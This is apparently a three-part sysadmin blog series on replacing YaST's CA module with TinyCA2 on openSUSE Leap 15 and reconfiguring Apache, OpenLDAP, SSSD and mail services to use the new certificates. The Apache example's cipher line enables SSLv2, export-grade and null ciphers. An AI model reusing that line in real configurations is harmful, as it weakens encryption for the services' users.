You saw again that I use saslauth for authentication. But, actually there is nothing to be changed in the saslauthd configuration in comparison to a previously working solution.

Finally, we restart all our services:

mymail:/etc/sasl2 # systemctl restart sssd.service
mymail:/etc/sasl2 # systemctl restart cyrus.service
mymail:/etc/sasl2 # systemctl restart postfix.service
mymail:/etc/sasl2 # systemctl restart saslauthd.service 

This should work flawlessly, if we have done everything correctly.

Testing with Kmail and other mail clients from client systems

Before you can start testing with email-clients you need to transfer the new CA’s certificate to your client system’s directory “/etc/pki/trust/anchors/”. Do not forget to import “anraconc-CA.pem” on all other clients that build up TLS or SSL connections to your reconfigured servers, too. And put the CA certificate into “/etc/pki/trust/anchors/” – if your clients are Opensuse Leap 15.x systems.

If you need any direct LDAP client services form your client system to the LDAP service on “myserv” you should take care of the necessary changes in the local “/etc/ldap.conf” and the “/etc/sssd/sssd.conf” !

Otherwise you should have a look at Kmail’s or your email’s IMAP account configuration:

Note that you should give the name of the mail server in its FQDN-form to avoid messages on certificates not fitting the server. And:

Clicking on the button “Automatisch erkennen” (or whatever the button is named in English …”Automatic detection ?) should offer you STARTTLS now. If you get any messages about “no connection could be enabled” your configuration of the mail server still has deficits – either in offering TLS/SSL encryption or in its role as a client to the OpenLDAP server. You would have to analyze status and log information of all involved servers then.

You have to do similar things on other email-clients. I was lucky – things started to operate smoothly again on my mail clients.

Conclusion

It really is a problem that the SuSE people did not replace the YaST module for the administration of TLS/SSL CAs and server certificates by a Ruby counterpart with the start of Leap 15.0. Especially as Opensuse works as a basic platform for SLES 🙁 . Also SuSE previously often used a policy to allow for server wide certificates – i.e. one certificate for all services on a server instance. The deployment of such certificates issued by a central CA was supported by an export/import mechanism of YaST, which took care of password-protected keys by stripping of password and setting the right read access rights on the destination servers.

If you want to use TinyCA2 as a CA administration tool you are confronted with a series of challenges – among others the question of access rights of system users to certificate’s key files. In addition you have to place the CA’s root certificate at a proper location on Opensuse Leap systems (/etc/pki/trust/anchors) to
make it permanently available.

TinyCA2 – which I had a look at – is relatively old. The last Gitub change appeared in 2015. Nevertheless it does its job to create a CA, sub-CAs and server certificates (as well as client certificates) – and to revoke them if required. It also offers a simple local export mechanism for certifictaes and keys into standard file formats – as pem. However, this is it.

You need a patch to include SHA256 or SHA512 – which is a must these days. There are some flaws with the simple GUI, but these you can work around related problems – if you know about them. And: TinyCA2 will not help you to deploy the certificates/keys on your server or client systems. Not even a simple import mechanism for a server wide “server certificate plus key” issued by the CA is offered on target servers. So, if you do not want to invest time into your own deployment scripts you may come to the conclusion that TinyCA2 is not suited well for large networks with many servers. In my case I fount it applicable for a dozen servers – but not more. Too much handwork ….

If you consider to use TinyCA2 as a replacement for YaST’s CA administration tools most of your work will be to deploy the TLS/SSL certificates/keys onto your server systems and to reconfigure all services to use these certificates for TLS, StartTLS and SSL connections.

On Opensuse systems the deployment of the CA root certificate within the bunch of permanently trusted CA certificates requires some knowledge about the relevant directory to make the CA certificate available in a central directory as “/etc/ssl/certs” – which may be used by legacy applications. The access rights to a server certificates key file may pose some special problems – you may have to test which system user associated with your services requires read rights.

There are actually several ways how to handle the read access topic for the private certificate keys. I have shown how to use ACLs for this purpose. My recommendation, however, is to use separate certificates and related keys for all services – even if they reside on the same server and despite consequences for your network and DNS configuration due to unique FQGNs and common names. You never know what can happen to a service specific user during attacks. If one certificate/key gets corrupted the others may still survive. Actually, this could be a reason for encapsulating services even more in form of LXC containers. But this is a different story …

Good luck with Opensuse and TinyCA2 !

 

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – II

In my last article on TinyCA2

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – I

I discussed how to open an new CA and how to create a server certificate (plus private key) with SHA256 as the preferred hashing algorithm. We saw that TinyCA2 offers an option to export the certificate’s private key with or without password. I also gave an “openssl” command for stripping a key off its password later on – even if it was exported with a password in the beginning.

We have followed a policy of using a server wide TLS/SSL-certificate for all TLS/SSL-based services run on a server – in our case on a server “myserv.anraconc.de”. Therefore we have copied the certificate’s pem file and the key’s pem file to the directory “/etc/ssl/servercerts” with file names “servercert.pem” and “serverkey.pem”.

In addition we naively copied the CA certificate as file “anraconc-CA.pem” into the central directory “/etc/ssl/certs” which contains (links to) all trusted certificates on an Opensuse system.

If the private key was exported with a password we have a problem with automated system and service starts: As the private key of a server certificate must in some cases also by system users starting and running services we would be asked to provide a password interactively, whenever the service is started – e.g. during system startup. To avoid such a situation we need a private key without password – hence we have to deal carefully with read access rights. Actually, we need to find out which services – not started or run by root – need the access right for its special system user. For the time being we took away all read rights for “others” from the server key for the system “myserv”.

In this second article I discuss the changes to be made to the configuration of two services – Apache2 and OpenLDAP on server “myserv”. After a test we shall detect that Opensuse rebuilds the contents of “/etc/ssl/certs” during a reboot – and references of our services to the CA’s certificate will fail. I shall show where to save our CA certificate to make it permanently available.

Re-configuring a local Apache service for the new CA and the changed server certificate

As I had used a server wide certificate on “myserv” already at times when YaST’s CA-administration was still available, I expected that the required changes to the service configuration would be limited to providing the path to the new CA certificate. The example of the Apache service proved that this really was true.

In my case I use virtual domains with my Apache server for Intranet sites. The configuration of the SSL-setup then is to be found in either a central file as “/etc/apache2/ssl-global.conf” or in “/etc/apache2/vhosts.d/vhost-ssl.conf” for individual domains. I used the latter file. I shall only show the most simple case here – with just a main standard domain associated on an Opensuse system with the directory “/srv/www/htdocs”. Other domains would get the same SSL settings (if you do not plan to issue different certificates for each intranet domain):

<VirtualHost *:443>

        #  General setup for the virtual host
        DocumentRoot "/srv/www/htdocs/"
        ServerName myserv
        #ServerAdmin webmaster@example.com
        ErrorLog /var/log/apache2/error_log
        TransferLog /var/log/apache2/access_log

        #   SSL Engine Switch:
        #   Enable/Disable SSL for this virtual host.
        SSLEngine on

        #   SSL Cipher Suite:
        #   List the ciphers that the client is permitted to negotiate.
        #   See the mod_ssl documentation for a complete list.
        SSLCipherSuite ALL:!
ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL

        #   Server Certificate:
        #   Point SSLCertificateFile at a PEM encoded certificate.  If
        #   the certificate is encrypted, then you will be prompted for a
        #   pass phrase.  
        SSLCertificateFile /etc/ssl/servercerts/servercert.pem

        #   Server Private Key:
        #   If the key is not combined with the certificate, use this
        #   directive to point at the key file.  
        SSLCertificateKeyFile /etc/ssl/servercerts/serverkey.pem

        #   Server Certificate Chain:
        #   Point SSLCertificateChainFile at a file containing the
        #   concatenation of PEM encoded CA certificates which form the
        #   certificate chain for the server certificate. 
        SSLCertificateChainFile /etc/ssl/certs/anraconc-CA.pem
        #
        # NOTE: here you should later on use the Common Name of your CA certificate !
        # See below ! 
.....
......

Note that I referred to the CA certificate at “/etc/ssl/certs” in the CA chain setting. The server certificate and key files are referred to already by the standard paths “/etc/ssl/servercerts/servercert.pem” and “/etc/ssl/servercerts/serverkey.pem”.

With this changed configuration file we restart our Apache service:

myserv:/etc/apache2/vhosts.d # vi vhost-ssl.conf
myserv:/etc/apache2/vhosts.d # systemctl restart apache2.service
myserv:/etc/apache2/vhosts.d # systemctl status apache2.service
● apache2.service - The Apache Webserver
   Loaded: loaded (/usr/lib/systemd/system/apache2.service; enabled; vendor preset: disabled)
   Active: active (running) since Sat 2019-07-20 15:37:29 CEST; 11s ago
  Process: 20435 ExecStop=/usr/sbin/start_apache2 -DSYSTEMD -DFOREGROUND -k graceful-stop (code=exited, status=0/SUCCESS)
 Main PID: 20443 (httpd-prefork)
   Status: "Total requests: 0; Current requests/sec: 0; Current traffic:   0 B/sec"
    Tasks: 6
   CGroup: /system.slice/apache2.service
           ├─20443 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>
           ├─20449 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>
           ├─20450 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>
           ├─20451 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>
           ├─20452 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>
           └─20453 /usr/sbin/httpd-prefork -DSYSCONFIG -DSSL -C PidFile /var/run/httpd.pid -C Include /etc/apache2/sysconfig.d//loadmodule.conf -C Include /etc/a>

Jul 20 15:37:29 myserv systemd[1]: Starting The Apache Webserver...
Jul 20 15:37:29 myserv start_apache2[20443]: [Sat Jul 20 15:37:29.522427 2019] [so:warn] [pid 20443] AH01574: module authn_core_module is already loaded, skipping
Jul 20 15:37:29 myserv systemd[1]: Started The Apache Webserver.

Obviously, only root needs to read “/etc/ssl/servercerts/serverkey.pem” for starting the service – although multiple “httpd-prefork” processes later on are run by the system user “wwwrun”. However, the first one is run by root.

Note:
If you get any trouble here, please have a look into the Apache log files (in my case in “/var/log/apache2/error.log”). If you see something there like

[Sat Jul 20 14:56:15.132380 2019] [ssl:emerg] [pid 13320] AH02561: Failed to configure certificate myserv:443:0, check /etc/ssl/servercerts/servercert.pem
[Sat Jul 20 14:56:15.
132404 2019] [ssl:emerg] [pid 13320] SSL Library Error: error:140AB18E:SSL routines:SSL_CTX_use_certificate:ca md too weak
AH00016: Configuration Failed
[Sat Jul 20 15:00:53.251242 2019] [ssl:emerg] [pid 14285] AH02561: Failed to configure certificate myserv:443:0, check /etc/ssl/servercerts/servercert.pem
[Sat Jul 20 15:00:53.251268 2019] [ssl:emerg] [pid 14285] SSL Library Error: error:140AB18E:SSL routines:SSL_CTX_use_certificate:ca md too weak
AH00016: Configuration Failed

then you are confronted with a point I mentioned in my first article. The error message criticizes that the “md”-hashing algorithm is too weak. But didn’t we use SHA256?

Well, you meant to do so – because it my have been shown as the option chosen by default for the “Digest”. And you did not change this setting. However, if you did not click the radio button explicitly after some other value you may not have gotten what you saw. Without your explicit interaction with the radio buttons the default is “md”. So, it is important for all certificates to explicitly choose a different value first and then click on the right radio button for a digest again. The same is true for the setting of the key length and other options.

For other services than Apache2 you would basically proceed in an analogous way. So far – so good. Unfortunately, our approach is still not good enough!

How to make a CA certificate pem file system wide and permanently available on Opensuse Leap 15.x?

One of the most frustrating things that may happen to you is that you think everything you changed works now and then – after a system restart – you find a mess of non-starting or working services again. Well, this is exactly what happens if you just place a CA’s certificate (pem) file into the location “/etc/ssl/certs”. Just try a reboot; you will find that the file /etc/ssl/certs/anraconc-CA.pem” does not start any more afterwards – with severe consequences for the services referring to it.

“/etc/ssl/certs” is in so far a reasonable central directory as legacy applications may read it for CA certificates. So, one would use it also for our TLS/SSL-dependent server services. Especially, because you may really find it as a default in some configuration files.

The location “/etc/ssl/certs” actually is a link to “/var/lib/ca-certificates/pem” which will not help much as the contents of this directory is refreshed after each system restart, too. I was too lazy to analyze this in detail. However, you find some information in the scripts under “/usr/lib/ca-certificates/update.d/“.

Another substantial piece of information is provided by the the answer to a related question at “Stack Exchange” : how-do-i-install-a-system-wide-ssl-certificate-on-opensuse.

Here, as well as in one of the “update.d”-files, the directory “/etc/pki/trust/anchors” is mentioned as a suitable place to save CA certificate files by the admin for system wide usage. So, we may think that it is enough to copy our CA pem file into the directory “/etc/pki/trust/anchors/“.

Before you get frustrated again: The “trust”-program which among other things refreshes “/etc/ssl/certs” is intelligent:
It extracts the “Common Name” from the certificate and uses it to name the pem-file which it writes at system start into “/etc/ssl/certs”.

So, here are the rules if all your SSL-based services shall be configured to read your trusted CA certificate at “/etc/ssl/certs”:

  1. Place your CA’s certificate file (as exported from TinyCA2) into “/etc/pki/trust/anchors” (and if you have sub-CAs also their certificate files!)
  2. Then refer to the file “/etc/ssl/certs/CAs_COMMON_NAME.pem” – where CAs_COMMON_NAM is the common name you used when you set up your CA. Do not use any other name you may originally have given your exported CA certificate (pem) files.

In our case we need the file name “anraconc-CA.pem”. So, this is already consistent with the name which we chose at export time in the first article. However, this happened by chance, only. We could have chosen quite a different name for the pem-file. (Well, I knew about the pitfall 🙂 )

If you had given your file a name like “myCA-cacert.pem”, you would experience some trouble after having placed it into “/etc/pki/trust/anchors” and referred to it in CA chain configuration settings for any service by “/etc/ssl/certs/myCA-cacert.pem”. Despite the files name “myCA-cacert.pem” it would in our case appear in “/etc/ssl/certs” with the name “anraconc-CA.pem”. It took me a little while to figure this out !

SSL-reconfiguration for OpenLDAP and missing rights for the system user “ldap”

After we have made our CA certificate permanent, we proceed to the reconfiguration of the OpenLDAP service. This is a bit more complicated due to two reasons: There are potentially more configuration files to take care of and there may appear a problem with read rights. In addition you have to think of the “sssd.service” for providing encrypted connections to clients for authentication services – here for LDAP-clients.

The first point depends a bit on your specific configuration. There may be a file “/etc/ldap.conf” (controlling local LDAP-clients). In my case I had to change the entry for “tls_cacertfile“:

bind_policy soft
uri ldap://myserv.anraconc.de
base dc=anraconc,dc=de
nss_map_attribute uniqueMember member
ssl start_tls
pam_password exop
pam_filter objectClass=posixAccount
tls_cacertdir /etc/ssl/certs
tls_cacertfile /etc/ssl/certs/anraconc-CA.pem
....
...

However, your main configuration will probably reside in “/etc/openldap/”. There is also a “/etc/openldap/ldap.conf“, which we need to modify:

tls_cacert      /etc/ssl/certs/anraconc-CA.pem

Then we have in addition the central file “slapd.conf” which must get proper TLS/SSL entries :

...
TLSCACertificateFile /etc/ssl/certs/anraconc-CA.pem
TLSCertificateFile /etc/ssl/servercerts/servercert.pem
TLSCertificateKeyFile /etc/ssl/servercerts/serverkey.pem
...

Hint: On Opensuse systems the file “/etc/sysconfig/openldap” should also contain a line:

...
OPENLDAP_START_LDAP="yes"
...
## Type:           yesno
## Default:        no
## ServiceRestart: ldap
# If set to "yes" the "ldap over ssl" feature of slapd will be enabled. Don't
# forget to add the "TLSCertificateFile" and "TLSCertificateKeyFile" options 
# to the /etc/openldap/slapd.conf (man slapd.conf).
# Note: Don't confuse this with "START_TLS", the preferred method for 
#       making encrypted LDAP connections, which is enabled as soon as You
#       specify "TLSCertificateFile" and "TLSCertificateKeyFile" in your config
#       file
#
OPENLDAP_START_LDAPS="yes"
...

But setting the right value for “TLSCACertificateFile” in “/etc/openldap/ldap.conf” is not enough:

The SSL settings also play a decisive role in the file “cn=config.ldif” (in “/etc/openldap/slapd.d/”) as the core of modern LDAP services is configured by ldif-files.

Warning:
When editing the file “cn= config.ldif” file you have to be extremely careful. Make a backup first! One normally should not edit this file directly!. But as our LDAP service is not running any more we are brave and use

myserv:/etc/openldap/slapd.d # vi cn\=config.ldif

Note the escaping backslash. Then you edit the following entries

...
olcTLSCACertificateFile: /etc/ssl/certs/anraconc-CA.pem
olcTLSCertificateFile: /etc/ssl/servercerts/servercert.pem
olcTLSCertificateKeyFile: /etc/ssl/servercerts/serverkey.pem
....

This may afterwards lead to some warnings in log files regarding the checksum for this file. You could correct this later on by using “ldapmodify” to reedit the entries again on the then (hopefully) running LDAP-server.

Unfortunately, a service restart leads to trouble:

myserv:/etc/openldap/slapd.d # rcslapd restart
Job for slapd.service failed because the control process exited with error code.
See "systemctl  status slapd.service" and "journalctl  -xe" for details.

myserv:/etc/openldap/slapd.d # rcslapd status
● slapd.service - OpenLDAP Server Daemon
   Loaded: loaded (/usr/lib/systemd/system/slapd.service; enabled; vendor preset: disabled)
   Active: failed (Result: exit-code) since Sat 2019-07-20 16:45:37 CEST; 45s ago
  Process: 13254 ExecStart=/usr/lib/openldap/start (code=exited, status=1/FAILURE)
 Main PID: 11608 (code=exited, status=0/SUCCESS)

Jul 20 16:45:37 myserv slapd[13254]: main: TLS init def ctx failed: -1
Jul 20 16:45:37 myserv slapd[13254]: slapd stopped.
Jul 20 16:45:37 myserv slapd[13254]: connections_destroy: nothing to destroy.
Jul 20 16:45:37 myserv start[13254]: Starting ldap-server
Jul 20 16:45:37 myserv systemd[1]: slapd.service: Control process exited, code=exited status=1
Jul 20 16:45:37 myserv systemd[1]: Failed to start OpenLDAP Server Daemon.
Jul 20 16:45:37 myserv systemd[1]: slapd.service: Unit entered failed state.
Jul 20 16:45:37 myserv systemd[1]: slapd.service: Failed with result 'exit-code'.

You see the message in the middle? main: TLS init def ctx failed: -1

Now, you could google. It will not help much! It took me some time to find out that I simply had a rights problem! I saw this when comparing the old contents of /etc/ssl/servercerts” from a backup with the new one:

myserv:/etc/ssl # la servercerts.orig
total 16
drwxr-xr-x  2 root root 4096 May 30  2013 .
drwxr-xr-x  7 root root 4096 Jul 20 15:03 ..
-rw-r--r--  1 root root 2155 Jul 10  2017 servercert.pem
-rw-------+ 1 root root 3272 Jul 10  2017 serverkey.pem
myserv:/etc/ssl # la servercerts
total 16
drwxr-xr-x 2 root root 4096 Jul 20 16:40 .
drwxr-xr-x 7 root root 4096 Jul 20 15:03 ..
-rw-r--r-- 1 root root 2492 Jul 20 15:19 servercert.pem
-rw------- 1 root root 3243 Jul 20 15:22 serverkey.pem

You see the tiny difference? The “+” – sign in the original rights?
Oops! ACL-settings? What for?

myserv:/etc/ssl # getfacl servercerts.orig/serverkey.pem 
# file: servercerts.orig/serverkey.pem
# owner: root
# group: root
user::rw-
user:ldap:r--
group::r--
mask::r--
other::---

OK! lets try this for the user “ldap” in the new setup:

 
myserv:/etc/ssl # setfacl -m u:ldap:r servercerts/serverkey.pem 
myserv:/etc/ssl # setfacl -m g::- servercerts/serverkey.pem
myserv:/etc/ssl # getfacl servercerts/serverkey.pem 
# file: servercerts/serverkey.pem
# file: servercerts/serverkey.pem
# owner: root
# group: root
user::rw-
user:ldap:r--
group::---
group:root:---
mask::r--
other::---

myserv:/etc/ssl # systemctl restart slapd.service
myserv:/etc/ssl # systemctl status slapd.service
● slapd.service - OpenLDAP Server Daemon
   Loaded: loaded (/usr/lib/systemd/system/slapd.service; enabled; vendor preset: disabled)
   Active: active (running) since Sat 2019-07-20 17:00:21 CEST; 5s ago
  Process: 15869 ExecStart=/usr/lib/openldap/start (code=exited, status=0/SUCCESS)
 Main PID: 15889 (slapd)
    Tasks: 3 (limit: 4915)
   CGroup: /system.slice/slapd.service
           └─15889 /usr/sbin/slapd -h ldap:/// ldaps:/// 
ldapi:/// -F /etc/openldap/slapd.d -u ldap -g ldap -o slp=off

Jul 20 17:00:21 myserv systemd[1]: Stopped OpenLDAP Server Daemon.
Jul 20 17:00:21 myserv systemd[1]: Starting OpenLDAP Server Daemon...
Jul 20 17:00:21 myserv slapd[15869]: @(#) $OpenLDAP: slapd 2.4.46 $
                                          opensuse-buildservice@opensuse.org
Jul 20 17:00:21 myserv slapd[15869]: ldif_read_file: checksum error on "/etc/openldap/slapd.d/cn=config.ldif"
Jul 20 17:00:21 myserv slapd[15869]: ldif_read_file: checksum error on "/etc/openldap/slapd.d/cn=config/olcDatabase={0}config.ldif"
Jul 20 17:00:21 myserv slapd[15889]: slapd starting
Jul 20 17:00:21 myserv start[15869]: Starting ldap-server
Jul 20 17:00:21 myserv systemd[1]: Started OpenLDAP Server Daemon.
myserv:/etc/ssl # 

Obviously, the user “ldap” needs read rights on the (private) key of the server certificate!
Note that the user which runs the slapd.service may have a different name on your system – e.g. “openldap”.

One can dispute whether ACLs is a reasonable way to handle this problem. Of course you could try and do something else. For other services I found in backups for older SuSE installations a special group “tls” which contained root and system users which needed read rights. This group was then assigned to “/etc/ssl/servercerts/serverkey.pem”.

E.g. in case you are concerned about any of these solutions you could create a separate special certificate for the LDAP service and place the key in a special directory with read access rights for the file limited to root and the user “ldap”. Of course, in this case, the service’s configuration files must be adjusted for all TLS/SSL relevant data. However, before you follow such an approach of different certificates for services on one and the same server, think a bit about side consequences. As the FQDN of the server has to be identical to the certificate’s common name you would have to issue certificates for different common names of your various server services.
This in turn makes your network and DNS configuration more complicated – you either need to associate one IP with multiple FQDNs or provide multiple IPs for one and the same server. To avoid such trouble I would rather combine this with a container approach for each separate service.

Adjusting the configuration of the SSSD-service

Having a running LDAP service does not mean that external clients can access it. On modern systems the exchange of auth-information between clients and server services is often handled by the “sssd”-service. This is true in my case, too. Therefore, a running slapd will not be sufficient if we use the LDAP-service for authentication from some clients in the network. We need to adjust the sssd-configuration, too. The relevant file is “/etc/sssd/sssd.conf” :

...
[sssd]
config_file_version = 2
services = nss,pam
domains = default
# SSSD will not start if you do not configure any domains.
# Add new domain configurations as [domain/<NAME>] sections, and
[nss]
filter_groups = root
filter_users = root
[pam]
# Section created by YaST
[domain/default]
ldap_uri = ldap://myserv.anraconc.de
ldap_search_base = dc=anraconc,dc=de
ldap_schema = rfc2307bis
id_provider = ldap
ldap_user_uuid = entryuuid
ldap_group_uuid = entryuuid
;ldap_id_use_start_tls = True
ldap_id_use_start_tls = False
enumerate = True
chpass_provider = ldap
auth_provider = ldap
cache_credentials = False

ldap_tls_cacertdir = /etc/ssl/certs
ldap_tls_cacert = /etc/ssl/certs/anraconc-CA.pem
....
...

Again, the most important settings are done in the last 2 lines displayed.
The setting for start_tls is up to you. If you use “start_tls” then the OpenLDAP configuration must provide the necessary entries.

Note: You have to provide similar sssd-settings on external LDAP-client-systems! One such client could be an email/imap-server – we shall have a look at its configuration in the next article.

On “myserv” we restart the “sssd.service”:

myserv:/etc/ssl # vi /etc/sssd/sssd.conf
myserv:/etc/ssl # rcsssd restart
myserv:/etc/ssl # systemctl status sssd.service 
● sssd.service - System Security Services Daemon
   Loaded: loaded (/usr/lib/systemd/system/sssd.service; enabled; vendor preset: disabled)
   Active: active (running) since Sat 2019-07-20 17:29:11 CEST; 18s ago
 Main PID: 20021 (sssd)
    Tasks: 4 (limit: 4915)
   CGroup: /system.slice/sssd.service
           ├─20021 /usr/sbin/sssd -i --logger=files
           ├─20022 /usr/lib/sssd/sssd_be --domain default --uid 0 --gid 0 --logger=files
           ├─20023 /usr/lib/sssd/sssd_nss --uid 0 --gid 0 --logger=files
           └─20024 /usr/lib/sssd/sssd_pam --uid 0 --gid 0 --logger=files

Jul 20 17:29:10 myserv systemd[1]: Starting System Security Services Daemon...
Jul 20 17:29:10 myserv sssd[20021]: Starting up
Jul 20 17:29:11 myserv sssd[be[20022]: Starting up
Jul 20 17:29:11 myserv sssd[20024]: Starting up
Jul 20 17:29:11 myserv sssd[20023]: Starting up
Jul 20 17:29:11 myserv systemd[1]: Started System Security Services Daemon.

Conclusion

We can use TinyCA2 to replace the missing YaST-feature for an effective administration both of CAs and server certificates. The major work has to be done in adjusting the configuration of the services. But after the method for installing a CA certificate server wide and permanently became clear the service configuration became reduced to a more or less dumb editing job. This job could be delegated to a script; but be careful to check the specific names of the relevant SSL/TLS entries for each service!

A special challenge came with the LDAP service; the related system user must get read rights to the used server certificate’s private key!

In the next and final article of this series

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – III

we shall have a look at the reconfiguration of a cyrus and posfix service on a different server “mymail”, which would then be a client for the LDAP service on “myserv” (for the authentication of IMAP/SMTP-users).

Links

Server wide and permanent installation of a trusted CA’s certificate
stackexchange.com: how-do-i-install-a-system-wide-ssl-certificate-on-opensuse

 

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – I

Today server services should offer network connectivity for clients with encryption. On Linux StartTLS based services are common – for LDAP, email/groupware servers as well as web servers. To set up SSL/TLS/StartTLS based services we need certificates and encryption keys issued by a central CA – which we trust. Administering your own local CA and server certificates can be a bit challenging without graphical tools – even in smaller networks with a dozen server instances.

In our networks with mainly Opensuse and Debian servers I had used YaST’s CA-module to create a CA and server certificates signed by this CA. The stupid thing is that the required “yast2-ca”-module and its RPM are missing since Opensuse Leap 15.0. This was not a major problem so far; the update processes respected existing certificates, of course. However, some days ago two of my central server certificates – namely the one for my LDAP-server and an Apache2-server – expired. This in turn lead to a breakdown of several other services on other (virtual) machines: SSSD, IMAP, Postfix (SMTP, because these services use the LDAP server among other things as a backend for user authentication. (SSSD itself provides a TLS connection to LDAP.)

The Opensuse documentation cha.security.yast_ca.html is really misleading because it claims to be valid for Opensuse Leap 15.1 – which it is not, as there still is no yast-ca-module available. For me this kind of policy of Opensuse is unbelievable; doesn’t Leap provide the basic platform for SLES? How shall SLES admins in smaller companies tackle the resulting problems? Buy a PKI tool? Everybody talks about secuirty …. but SuSE (???)

I wanted some cost free alternative for my own network – and as a first trial I went for “TinyCA2“.

This became more of an adventure than expected. Part of the hurdles were due to Opensuse specific settings – but also due to the very many different configuration files which had to be adapted for the certificate of my new CA – which came in addition to my old one. (I did not yet want to give up the old CA as some (virtual) servers still have valid server certificates from it.) Another obstacle appeared when Opensuse deleted any new files in “/etc/ssl/certs” after a system restart. Also the GUI of TinyCA2 has some strange “features” regarding default values, which I did not become aware of during my first trials. In addition it seemed to be necessary to replace SHA1 by SHA256. And in the end I got e.g. Apache running with its new server certificate, but not e.g. the slapd.service – due to a access rights problem which was difficult to see.

In this article I shall describe most of the required steps for switching to a TinyCA2 CA and adjusting server settings. I shall concentrate on some simple services as examples. But I hope the general pattern of how to proceed will become clear and help others, who work with Opensuse, to save a bit of time.

Installing and patching TinyCA2

Both Opensuse Leap 15.0 and Opensuse Leap 15.1 provide RPMs for TinyCA2 version 0.7.5. Which is from 2015. If you have a look at GitHub (see the link in the last section of this article) you may also find some (important) patches. On an Opensuse system You install the RPM easily with the help of YaST (yast2). After the installation you find the Perl files of TinyCA2 in the directory “/usr/share/TinyCA2/lib“.

When you start TinyCA2 via the command “tinyca2 &” the first thing you may stumble across is the fact that (among other digests) MD5 and SHA1 are offered as hashing algorithms. Look at the bottom part of the following screenshot:

(By the way: The layout – especially the icons – may look different on your system. It depends on your graphical desktop and your settings for GTK applications)

You see that we get a variety of hashing algorithms offered under the category “Digest”. Most of them are regarded insecure today. So, even in a semiprofessional environment you would like to see something better – e.g. SHA256. Fortunately, another guy (Bill Thorsteinson) had the same problem and he has created a patch for TinyCA2 which enables SHA256. You find the patch at
https://www.systemajik.com/tinyca-sha2/.

Let us try this out; on my ssh session to my central server “myserv” (this is the one with LDAP):

myserv:~ # mkdir /extras/Updates/tinyca
myserv:~ # wget https://www.systemajik.com/wp-uploads/2014/10/tinyca_sha256.patch_.txt -O /central/Updates/tinyca/tinyca_sha256.patch_.txt
--2019-07-20 12:44:57--  https://www.systemajik.com/wp-uploads/2014/10/tinyca_sha256.patch_.txt
Resolving www.systemajik.com (www.systemajik.com)... 206.47.13.3, 2001:470:1f11:b22::8
Connecting to www.systemajik.com (www.systemajik.com)|206.47.13.3|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4863 (4.7K) [text/plain]
Saving to: ‘/central/Updates/tinyca/tinyca_sha256.patch_.txt’

/central/Updates/tinyca/tinyca_sha256.pat 100%[=================>]   4.75K  --.-KB/s    in 0s      

2019-07-20 12:44:58 (138 MB/s) - ‘/central/Updates/tinyca/tinyca_sha256.patch_.txt’ saved [4863/4863]

myserv:~ # 
myserv:~ # cd /usr/share/TinyCA2/lib
myserv:/usr/share/TinyCA2/lib # cp /extras/Updates/tinyca/tinyca_sha256.patch_.txt .
myserv:/usr/share/TinyCA2/lib # patch --verbose -p1 < tinyca_sha256.patch_.txt
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|From e5e25e55f8da2b4d2bad584f2145ca0ff6b3a92a Mon Sep 17 00:00:00 2001
|From: Bill Thorsteinson <bill.git@systemajik.com>
|Date: Thu, 30 Oct 2014 22:26:47 -0400
|Subject: [PATCH] Apply changes
|
|---
...
...
|--- a/REQ.pm
|+++ b/REQ.pm
--------------------------
patching file REQ.pm
Using Plan A...
Hunk #1 succeeded at 59.
Hunk #2 succeeded at 426.
Hmm...  Ignoring the trailing garbage.
done

Note: The “-p1” in “patch –verbose -p1 < tinyca_sha256.patch_.txt” reads “-pONE” and not “-pL” with a small L-letter.

A “tinyca2” command now produces:

Much better !

Importing the old CA from Opensuse?

If you play around with the menus of TinyCA2 you find an option to import other CAs. Could this work with my old YaST-CA? To make a long story short – I did not succeed with this. The reasons are still unclear to me …. TinyCA could not read the relevant information.

So, I really was forced to set up a new CA – with all consequences as issuing and deploying new server certificates and the (trusted) CA certificate on my servers (and the CA cert also on my client machines). Which even in my little network (12 servers- thanks to virtualization) is painstaking …

Creating a new TinyCA2 based CA

Let us create a new CA with TinyCA2. We have some freedom regarding the “common name“. I choose a reference to my main internal domain “anraconc.de” – so my common name is: “anraconc-CA”. (It only looks like an official Internet domain; but actually it is an internal domain, only, and my DNS server is configured accordingly.)

Important hint:
Change the settings for Keylength and Digest by explicitly clicking first on other values and then the real choice again! If you do not change anything explicitly you may get a surprise regarding default values. They may not be what is indicated. Seems to be a bug. Do not disregard this hint if you want to save time ….

Now, a click on the “OK”-button gives us:

We set the keyUsage to “critical” (this certificate extension is used by some applications). And we eventually get all the information about our CA certificate:

The data – and especially the private key – can be found in the directory “/root/.TinyCA/anraconc-CA/”. TinyCA2 creates such a directory for every main CA. (If you use sub-CAs you will find respective directories below it).

myserv:~/.TinyCA # cd anraconc-CA/
myserv:~/.TinyCA/anraconc-CA # la
total 44
drwx------ 7 root root 4096 Jul 20 13:13 .
drwx------ 5 root root 4096 Jul 20 13:12 ..
-rw------- 1 root root 3311 Jul 20 13:13 cacert.key
-rw------- 1 root root 2504 Jul 20 13:13 cacert.pem
drwx------ 2 root root 4096 Jul 20 13:12 certs
drwx------ 2 root root 4096 Jul 20 13:13 crl
-rw------- 1 root root    0 Jul 20 13:12 index.txt
drwx------ 2 root root 4096 Jul 20 13:12 keys
drwx------ 2 root root 4096 Jul 20 13:12 newcerts
